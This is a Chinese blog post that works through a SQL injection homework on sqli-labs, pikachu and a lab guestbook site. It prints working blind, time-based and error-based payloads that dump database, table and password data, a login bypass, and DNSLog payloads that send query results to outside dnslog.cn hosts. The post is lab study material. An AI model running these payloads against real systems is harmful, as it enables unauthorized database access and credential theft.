web安全作業(SQL隱碼攻擊1)

zdytom發表於2024-11-02

web安全作業(SQL隱碼攻擊)

理論作業

1.什麼是盲注?盲注的型別?

2.報錯注入常用的函式有哪些?請分別解釋其用法?

3.時間盲注的payload構造方法?用到的函式及其用法?

4.DNS Log注入原理?前提條件及應用場景分別是什麼?

1. 開發人員遮蔽了報錯資訊,導致攻擊者無法透過報錯資訊進行注入的判斷,這種情況的注入即為盲注。盲注分為時間型盲注和boolean型盲注。
2.報錯注入的常用函式:
updatexml(),extractvalue(),floor(),exp()
ps:updatexml()和extractvalue()是MySQL對xml文件資料進行查詢的XPATH函式你
3.時間盲注的payload構造方法:if(expr1,expr2,expr3),對expr1進行布林判斷,利用sleep()或benchmark()函式延長MySQL執行時間,與if搭配使用
4.DNSLog注入原理:
(1)	攻擊者先向web伺服器提交payload語句,比如(select load_file(concat('\\\\','攻擊語句',.XXX.ceye.io\\abc)))
(2)	其中的攻擊語句被放到資料庫中會被執行,生成的結果與後面的.XXX.ceye.io\\abc構成一個新的域名
(3)	這時load_file()就可以發起請求,那麼這一條帶有資料庫查詢結果的域名就被提交到DNS伺服器進行解析
(4)	此時,如果我們可以檢視DNS伺服器上的Dnslog就可以得到SQL隱碼攻擊結果。那麼我們如何獲得這條DNS查詢記錄呢?注意注入語句中的ceye.io,這其實是一個開放的Dnslog平臺(具體用法在官網可見),在http://ceye.io上我們可以獲取到有關ceye.io的DNS查詢資訊。實際上在域名解析的過程中,是由頂級域名向下逐級解析的,我們構造的攻擊語句也是如此,當它發現域名中存在ceye.io時,它會將這條域名資訊轉到相應的NS伺服器上,而透過http://ceye.io我們就可以查詢到這條DNS解析記錄。
(5)DNSlog平臺:
http://ceye.io
http://www.dnslog.cn
使用場景:SQL盲注,命令執行(無回顯),XSS(無回顯),SSRF(無回顯)
前提條件:load_file()函式可以使用,that means,配置檔案my.ini中,secure_file_priv=''

實踐作業

任務1:sqli-labs靶場:Less-8 GET - Blind - Boolean Based - Single Quotes (布林型單引號GET盲注)

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php

任務2:

Less-9 GET - Blind - Time based. - Single Quotes (基於時間的GET單引號盲注)

Less-10 GET - Blind - Time based - double quotes (基於時間的雙引號盲注)

任務3:使用floor()函式對less-2、less-3、less4進行報錯注入

任務4:使用extractvalue()函式對less-5進行報錯注入

任務5:使用updatexml()函式對less-6進行報錯注入

任務6:挖掘book網站的SQL隱碼攻擊漏洞並進行驗證

任務一

布林型單引號GET盲注(Less-8)

判斷資料庫長度

Snipaste_2024-04-02_11-02-01

說明資料庫長度為8,然後開始判斷庫名id=1' and substr(database(),1,1)='s'--+/id=1' and ascii(substr(database(),1,1))>114--+

重複多次後即可得出資料庫名為securitySnipaste_2024-04-02_11-14-11

Snipaste_2024-04-02_11-15-04

然後開始猜表名,手工注入方法和上面大同小異

length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5 //正常,>6異常

然後ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100//正常,>101異常

Snipaste_2024-04-02_11-30-31

Snipaste_2024-04-02_11-30-17

以此類推可以得出第一張表為emails,接著是referers,uagents,users

之後就是獲取欄位名和資料,方法類似

length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))>=2

substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'

最後得出為:id,username,password

同理判斷資料:length((select username from security.users limit 0,1))>=4

substr((select username from security.users limit 0,1),1,1)='D'

手工注入很麻煩,這裡可以使用工具,比如burp

Snipaste_2024-04-02_12-17-35

Snipaste_2024-04-02_12-17-27

Snipaste_2024-04-02_12-18-22

pikachu基於boolean的盲注

首先判斷資料庫的長度,因為使用union select 1,2--+沒有回顯,所以用盲注

length(database())>6 //長度為7

Snipaste_2024-04-02_13-24-37

接著使用allen' and ascii(substr(database(),1,1))=112 ,使用burp爆破

Snipaste_2024-04-02_13-46-30

根據ascii可以得出庫名為pikachu

之後爆表名,欄位名和資料都是同樣的操作

任務二

基於時間的GET單引號盲注(Less-9)

頁面既不回顯資料,也不會回顯錯誤資訊,真假也不提示,只能透過構造語句看頁面響應時間,id=1' and sleep(5)

Snipaste_2024-04-02_21-03-55

爆資料庫名:if(substr(database(),1,1)='s',sleep(3),1)

這裡除了手動注入,也可以直接用工具爆破,得到security

Snipaste_2024-04-02_21-30-14

然後接著爆表名,欄位和資料

id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(3),1)

Snipaste_2024-04-02_21-36-18

Snipaste_2024-04-02_21-52-44

得到表名emails,reeferers,uagents,users,同理爆欄位和資料

if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(3),1)

if(substr((select username from security.users limit 0,1),1,1)='D',sleep(3),1) //select語句中小寫d也行

Snipaste_2024-04-02_21-52-44

基於時間的雙引號盲注(Less-10)

跟第九關類似,只是把單引號改成了雙引號

Snipaste_2024-04-04_01-11-12

?id=1" and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+

仿照less-9依次爆破即可

這裡可以DNSlog注入
Snipaste_2024-04-04_20-41-11

Snipaste_2024-04-04_20-44-32

Snipaste_2024-04-04_20-44-44

非常快就爆出資料庫名了,然後開始爆表名等,注意判斷長度就行

Less-10/index.php?id=1" and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema='security' limit 0,1),".jri6ph.dnslog.cn/1.txt")))--+

爆欄位和資料

Less-10/index.php?id=1" and (select load_file(concat("//",(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),".jri6ph.dnslog.cn/1.txt")))--+

Less-10/index.php?id=1" and (select load_file(concat("//",(select password from security.users limit 0,1),".jri6ph.dnslog.cn/1.txt")))--+

Snipaste_2024-04-04_20-53-57

任務三

使用floor()函式對less-2、less-3、less4進行報錯注入

Less-2 GET - Error based - Intiger based

使用floor函式進行報錯注入:

?id=1 union select 1,count(),concat_ws('-',(select database()),floor(rand(0)2))x from information_schema.tables group by x

Snipaste_2024-04-04_23-30-07

之後爆表名,欄位名和資料,大致模板不變,只需改動中間部分類容

select table_name from information_schema.tables where table_schema=database() limit 3,1

select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1

select username from security.users limit 0,1

Less-3 Error based - Single quotes with twist - string

操作和Less-2一樣,只是這裡是單引號加括號的注入

Less-3/index.php?id=1') union select 1,count(),concat_ws('-',(select username from security.users limit 0,1),floor(rand(0)2))x from information_schema.tables group by x --+

Snipaste_2024-04-04_23-40-22

Less-4 GET - Error based - Double Quotes - string

首先注入判斷,發現是雙引號加括號

Snipaste_2024-04-05_00-08-07

然後和上面一樣,進行報錯注入即可

Snipaste_2024-04-05_00-09-47

任務4

使用extractvalue()函式對less-5進行報錯注入

less-5是單引號注入,且id=1' order by 3--+

所以 id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3--+

Snipaste_2024-04-05_00-36-11

然後是爆表名等

id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))-- +

Snipaste_2024-04-05_00-37-49

同理爆欄位名和資料

id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))-- +

爆資料時,因為該函式只顯示32位字元,所以使用substring()函式

id=1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,0x7e,password),1,30) from security.users)))-- +

Snipaste_2024-04-05_00-41-06

任務5

使用updatexml()函式對less-6進行報錯注入

less-6注入判斷後是雙引號

然後報錯注入id=1" and 1=updatexml(1,concat(0x7e,(select database())),3)--+

Snipaste_2024-04-05_00-18-25

爆表名concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))

爆欄位名concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))

爆資料concat(0x7e,(select substring(group_concat(username,0x7e,password),1,30) from security.users))

Snipaste_2024-04-05_00-29-50

任務6

挖掘book網站的SQL隱碼攻擊漏洞並進行驗證

輸入admin,admin登入抓包,傳送到repeater模組

在使用者名稱裡輸入1' or 1=1-- 顯示登陸成功,1=2的登陸失敗,1'登陸失敗並報錯,說明存在漏洞

Snipaste_2024-04-05_22-07-02

Snipaste_2024-04-05_22-06-41

然後開始漏洞注入,試了一下後,發現報錯注入不顯示錯誤資訊,同時也不回顯資料,涉及跳轉頁面,時間盲注能感覺到,但是看不到具體時間資料,所以推測為布林盲注

在使用者名稱裡輸入:1' or length(database())>8-- (>9登陸失敗,所以長度為9)

Snipaste_2024-04-05_23-45-35

然後猜資料庫名

1' or substr(database(),1,1)='g'-- 顯示登陸成功,這裡可以使用burp爆破

Snipaste_2024-04-05_23-51-07

最後得到資料庫為guestbook

Snipaste_2024-04-05_23-52-40

剩下的就如法炮製

1' or substr((select table_name from information_schema.tables where table_schema='guestbook' limit 0,1),1,1)='m'--

最後得到表名為message和user

Snipaste_2024-04-05_23-57-22

同理得到欄位和資料

select column_name from information_schema.columns where table_schema='guestbook' and table_name='user' limit 0,1

select username from guestbook.user limit 0,1

Snipaste_2024-04-06_00-04-16

也可以DNSlog注入

1' or (select load_file(concat("//",(select column_name from information_schema.columns where table_schema='guestbook' and table_name='user' limit 0,1),".kwtpow.dnslog.cn/1.txt")))--

1' or (select load_file(concat("//",(select username from guestbook.user limit 0,1),".kwtpow.dnslog.cn/1.txt")))--

Snipaste_2024-04-06_00-11-44

相關文章